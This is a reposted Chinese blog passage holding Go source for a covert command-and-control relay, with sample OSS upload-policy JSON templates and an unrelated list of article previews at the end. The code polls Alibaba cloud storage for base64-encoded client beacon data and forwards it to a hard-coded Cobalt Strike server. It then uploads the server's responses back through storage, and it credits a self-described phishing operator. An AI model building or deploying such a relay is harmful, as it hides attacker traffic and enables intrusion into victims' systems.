	filename = filepath.Base(filename)
	log.Println("filename=>",filename)
	configFilePath := filepath.Join(programDir, filename)
	log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
	data, err := ioutil.ReadFile(configFilePath)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
	}

	uploadData, err := parseUploadToken(data)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
	}

	return uploadData, nil
}


func Send(name string, filename string, content string) {
	UploadData, err := readUploadTokenFromFile(name)
	if err != nil {
		fmt.Println("Error reading or parsing JSON from file:", err)
		return
	}

	_, err = uploadFile(UploadData, filename, content)
	
	if err != nil {
		log.Println("文件上传失败:", err)
		return
	}
}





func checkURLStatus(url string) bool {
	resp, err := http.Head(url)
	if err != nil {
		fmt.Printf("检查 URL 失败: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == http.StatusOK {
		return true
	}
	fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
	return false
}

func waitForNextHalfHour() {
	now := time.Now()
	next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
	duration := next.Sub(now)

	fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
	time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filepath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func safeDownloadFile(filepath string, url string) error {
	tempFilepath := filepath + ".tmp"

	err := downloadFile(tempFilepath, url)
	if err != nil {
		return fmt.Errorf("下载失败: %w", err)
	}

	err = os.Rename(tempFilepath, filepath)
	if err != nil {
		return fmt.Errorf("替换文件失败: %w", err)
	}

	return nil
}

func timedownload() {
	execPath, err := os.Executable()
	if err != nil {
		fmt.Printf("获取程序路径失败: %v\n", err)
		return
	}
	execDir := filepath.Dir(execPath)

	filepath1 := filepath.Join(execDir, "Send-Client.json")
	filepath2 := filepath.Join(execDir, "Send-Server.json")
	
	url1 := "http://x.x.x.x:x/Send-Client.json"
	url2 := "http://x.x.x.x:x/Send-Server.json"
	
	fmt.Printf("检查文件1:%s\n", url1)
	if checkURLStatus(url1) {
		err = safeDownloadFile(filepath1, url1)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url1)
	}

	fmt.Printf("检查文件2:%s\n", url2)
	if checkURLStatus(url2) {
		err = safeDownloadFile(filepath2, url2)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url2)
	}

/*	for {
		waitForNextHalfHour()

		fmt.Printf("检查文件1:%s\n", url1)
		if checkURLStatus(url1) {
			err = safeDownloadFile(filepath1, url1)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url1)
		}

		fmt.Printf("检查文件2:%s\n", url2)
		if checkURLStatus(url2) {
			err = safeDownloadFile(filepath2, url2)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url2)
		}
	}*/

}

var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列

func processQueue() {
	for task := range taskQueue {
		log.Println("[+]", "处理队列中的任务:", task)
		processServerWithLock(task) // 有序地处理任务
	}
}

func processServerWithLock(URLname string) {

	// 从name中提取UUID
	log.Println("[+]", "发现客户端")

	// 将Base64编码的数据解码
	sDec, err := base64.StdEncoding.DecodeString(string(URLname))
	if err != nil {
		log.Println("[-]", sDec, "Base64解码失败:", err)
		return
	}

	// 连接CS服务器
	conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
	if err != nil {
		log.Println("[-]", conn, "连接CS服务器失败:", err)
		return
	}
	defer conn.Close()

	// 发送解码后的数据到CS服务器
	_, err = conn.Write(sDec)
	if err != nil {
		log.Println("[-]", "无法向CS服务器发送数据包:", err)
		return
	}

	// 设置读超时
	_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	var buffer bytes.Buffer

	// 从CS服务器读取响应数据
	for {
		var buf [1]byte
		n, err := conn.Read(buf[:])
		if err != nil {
			log.Println("[-]", "从CS服务器读取数据失败:", err)
			break
		}
		buffer.Write(buf[:n])

		// 检查是否接收完毕
		if strings.Contains(buffer.String(), "\r\n\r\n") {
			// 处理Content-Length
			if strings.Contains(buffer.String(), "Content-Length") {
				ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
				log.Println("[+]", "数据包长度为:", strings.TrimSpace(ContentLength))

				// 继续读取指定长度的数据
				if strings.TrimSpace(ContentLength) != "0" {
					intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
					if err != nil {
						log.Println("[-]", "Content-Length转换失败:", err)
						break
					}

					for i := 1; i <= intContentLength; i++ {
						var b [1]byte
						n, err = conn.Read(b[:])
						if err != nil {
							log.Println("[-]", "从CS服务器读取数据失败:", err)
							break
						}
						buffer.Write(b[:n])
					}
				}
			}

			// 处理Chunked传输
			if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
				for {
					var b [1]byte
					n, err = conn.Read(b[:])
					if err != nil {
						log.Println("[-]", "读取Chunked数据失败:", err)
						break
					}
					buffer.Write(b[:n])
					if strings.Contains(buffer.String(), "0\r\n\r\n") {
						break
					}
				}
			}

			log.Println("[+]", "从CS服务器接受完毕")
			break
		}
	}

	// 将响应数据重新编码为Base64
	b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())

	Send("Send-Server.json", "server.zip", b64)
	log.Println("[+]", "服务器数据发送完毕")
	
	log.Println("文件上传完成,暂停30秒...")
	time.Sleep(30 * time.Second) // Pause for 30 seconds  


}


func checkFileChanges(currentContent string, server_address string) {
	// 加锁,防止与定时任务冲突
	log.Println("[+]", "尝试加锁以检测文件变化")
/*	fileLock.Lock()
	log.Println("[+]", "文件锁定成功,开始检查文件变化")
		defer func() {
		log.Println("[+]", "解锁文件")
		fileLock.Unlock()
	}()*/
		log.Println(currentContent)
		log.Println(previousContent)
//	if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {

		log.Println("[+]", "文件内容不一致,开始处理")
		previousContent = currentContent      // 更新存储的文件内容
		log.Println("currentContent:",currentContent)
		log.Println("previousContent:",previousContent)
		processServerWithLock(currentContent) // 处理客户端文件数据
/*	} else {
		log.Println("[+]", "文件内容一致,无需处理")
		
	}*/
}

func startServer(server_address string) {

	log.Println("[+]", "服务端启动成功")
	

	for {
		
		time.Sleep(6 * time.Second)

		// 获取 Send-Client.json 中的 URL
		clientURL,err := Getfile("Send-Client.json")
		
		log.Println("clientURL=>",clientURL)
		currentContent, err := fetchFileContent(clientURL)
		log.Println("currentContent=>",currentContent)
		if err != nil {
			log.Println("[-]", "获取客户端文件失败:", err)
			return
		}
		println("大小为%s", len(currentContent))

		checkFileChanges(currentContent, server_address)
		

	}
}


func main() {

	go timedownload()
	server_address := "x.x.x.x:17777"

	startServer(server_address)


}

涉及json文件
Send-Client.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

Send-Server.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

致谢:
主要代码提供者,钓鱼佬pant0m
其语雀链接:
https://www.yuque.com/pant0m

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2247174.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

预测未来 | MATLAB实现Transformer时间序列预测未来

预测未来 | MATLAB实现Transformer时间序列预测未来 预测效果 基本介绍 1.Matlab实现Transformer时间序列预测未来&#xff1b; 2.运行环境Matlab2023b及以上&#xff0c;data为数据集&#xff0c;单变量时间序列预测&#xff1b; 3.递归预测未来数据&#xff0c;可以控制预…

局域网与广域网:探索网络的规模与奥秘(3/10)

一、局域网的特点 局域网覆盖有限的地理范围&#xff0c;通常在几公里以内&#xff0c;具有实现资源共享、服务共享、维护简单、组网开销低等特点&#xff0c;主要传输介质为双绞线&#xff0c;并使用少量的光纤。 局域网一般是方圆几千米以内的区域网络&#xff0c;其特点丰富…

可视化建模与UML《协作图实验报告》

有些鸟儿毕竟是关不住的。 一、实验目的&#xff1a; 1、熟悉协作图的构件事物。 2、掌握协作图的绘制方法。 二、实验环境&#xff1a; window7 | 10 | 11 EA15 三、实验内容&#xff1a; 下面列出了打印文件时的工作流&#xff1a; 用户通过计算机指定要打印的文件。(2)打…

docker搭建私有的仓库

docker搭建私有仓库 一、为什么要搭建私有的仓库&#xff1f; 因为在国内&#xff0c;访问&#xff1a;https://hub.docker.com/ 会出现无法访问页面。。。。&#xff08;已经使用了魔法&#xff09; 当然现在也有一些国内的镜像管理网站&#xff0c;比如网易云镜像服务、Dao…

微信小程序条件渲染与列表渲染的全面教程

微信小程序条件渲染与列表渲染的全面教程 引言 在微信小程序的开发中,条件渲染和列表渲染是构建动态用户界面的重要技术。通过条件渲染,我们可以根据不同的状态展示不同的内容,而列表渲染则使得我们能够高效地展示一组数据。本文将详细讲解这两种渲染方式的用法,结合实例…

订单日记为“惠采科技”提供全方位的进销存管理支持

感谢温州惠采科技有限责任公司选择使用订单日记&#xff01; 温州惠采科技有限责任公司&#xff0c;成立于2024年&#xff0c;位于浙江省温州市&#xff0c;是一家以从事销售电气辅材为主的企业。 在业务不断壮大的过程中&#xff0c;想使用一种既能提升运营效率又能节省成本…

mysql-分析并解决可重复读隔离级别发生的删除幻读问题

在 MySQL 的 InnoDB 存储引擎中&#xff0c;快照读和当前读的行为会影响事务的一致性。让我们详细分析一下隔离级别味可重复读的情况下如何解决删除带来的幻读。 场景描述 假设有一个表 orders&#xff0c;其中包含以下数据&#xff1a; 事务 A 执行快照读 START TRANSACTION…

使用itextpdf进行pdf模版填充中文文本时部分字不显示问题

在网上找了很多种办法 都解决不了; 最后发现是文本域字体设置出了问题; 在这不展示其他的代码 只展示重要代码; 1 引入扩展包 <dependency><groupId>com.itextpdf</groupId><artifactId>itext-asian</artifactId><version>5.2.0</v…

链表刷题|判断回文结构

题目来自于牛客网&#xff0c;本文章仅记录学习过程的做题理解&#xff0c;便于梳理思路和复习 我做题喜欢先把时间复杂度和空间复杂度放一边&#xff0c;先得有大概的解决方案&#xff0c;最后如果时间或者空间超了再去优化即可。 思路一&#xff1a;要判断是否为回文结构则…

0基础跟德姆(dom)一起学AI NLP自然语言处理01-自然语言处理入门

1 什么是自然语言处理 自然语言处理&#xff08;Natural Language Processing, 简称NLP&#xff09;是计算机科学与语言学中关注于计算机与人类语言间转换的领域. 2 自然语言处理的发展简史 3 自然语言处理的应用场景 语音助手机器翻译搜索引擎智能问答...

Linux系统使用valgrind分析C++程序内存资源使用情况

内存占用是我们开发的时候需要重点关注的一个问题&#xff0c;我们可以人工根据代码推理出一个消耗内存较大的函数&#xff0c;也可以推理出大概会消耗多少内存&#xff0c;但是这种方法不仅麻烦&#xff0c;而且得到的只是推理的数据&#xff0c;而不是实际的数据。 我们可以…

跨平台开发_RTC程序设计:实时音视频权威指南 2

1.2.1 一切皆bit 将8 bit分为一组&#xff0c;我们定义了字节(Byte)。 1956年6月&#xff0c;使用了Byte这个术语&#xff0c;用来表示数字信息的基本单元。 最早的字节并非8 bit。《计算机程序设计的艺术》一书中的MIX机器采用6bit作为1Byte。8 bit的Byte约定&#xff0c;和I…

WIFI:长GI与短GI有什么区别和影响

1、GI的作用 Short GI(Guard Interval)是802.11n针对802.11a/g所做的改进。射频芯片在使用OFDM调制方式发送数据时&#xff0c;整个帧是被划分成不同的数据块进行发送的&#xff0c;为了数据传输的可靠性&#xff0c;数据块之间会有GI&#xff0c;用以保证接收侧能够正确的解析…

ssm实战项目──哈米音乐(二)

目录 1、流派搜索与分页 2、流派的添加 3、流派的修改 4、流派的删除 接上篇&#xff1a;ssm实战项目──哈米音乐&#xff08;一&#xff09;&#xff0c;我们完成了项目的整体搭建&#xff0c;接下来进行后台模块的开发。 首先是流派模块&#xff1a; 在该模块中采用分…

C++使用minio-cpp(minio官方C++ SDK)与minio服务器交互简介

目录 minio简介minio-cpp简介minio-cpp使用 minio简介 minio是一个开源的高性能对象存储解决方案&#xff0c;完全兼容Amazon S3 API&#xff0c;支持分布式存储&#xff0c;适用于大规模数据架构&#xff0c;容易集成&#xff0c;而且可以方便的部署在集群中。 如果你已经部…

细说敏捷:敏捷四会之standup meeting

上一篇文章中&#xff0c;我们讨论了 敏捷四会 中 冲刺计划会 的实施要点&#xff0c;本篇我们继续分享敏捷四会中实施最频繁&#xff0c;团队最容易实施但往往也最容易走形的第二个会议&#xff1a;每日站会 关于每日站会的误区 站会是一个比较有标志性的仪式活动&#xff0…

二分法(折半法)查找【有动图】

二分法&#xff0c;也叫做折半法&#xff0c;就是一种通过有序表的中间元素与目标元素进行对比&#xff0c;根据大小关系排除一半元素&#xff0c;然后继续在剩余的一半中进行查找&#xff0c;重复这个过程直至找到目标值或者确定目标值不存在。 我们从结论往回推&#xff0c;…

FreeRTOS——低功耗管理

目录 一、概念及其应用 1.1应用 1.2STM32电源管理系统 2.3STM32低功耗模式 2.3.1睡眠模式 2.3.2停止模式 2.3.3待机模式 三、Tickless低功耗模式 3.1低功耗模式配置 3.2低功耗模式应用 3.3低功耗电路分析 3.4低功耗处理相关接口 四、实现原理 4.1任务等待删除的检查…

【STM32】MPU6050初始化常用寄存器说明及示例代码

一、MPU6050常用配置寄存器 1、电源管理寄存器1&#xff08; PWR_MGMT_1 &#xff09; 此寄存器允许用户配置电源模式和时钟源。 DEVICE_RESET &#xff1a;用于控制复位的比特位。设置为1时复位 MPU6050&#xff0c;内部寄存器恢复为默认值&#xff0c;复位结束…

2024年亚太地区数学建模大赛A题-复杂场景下水下图像增强技术的研究

复杂场景下水下图像增强技术的研究 对于海洋勘探来说&#xff0c;清晰、高质量的水下图像是深海地形测量和海底资源调查的关键。然而&#xff0c;在复杂的水下环境中&#xff0c;由于光在水中传播过程中的吸收、散射等现象&#xff0c;导致图像质量下降&#xff0c;导致模糊、…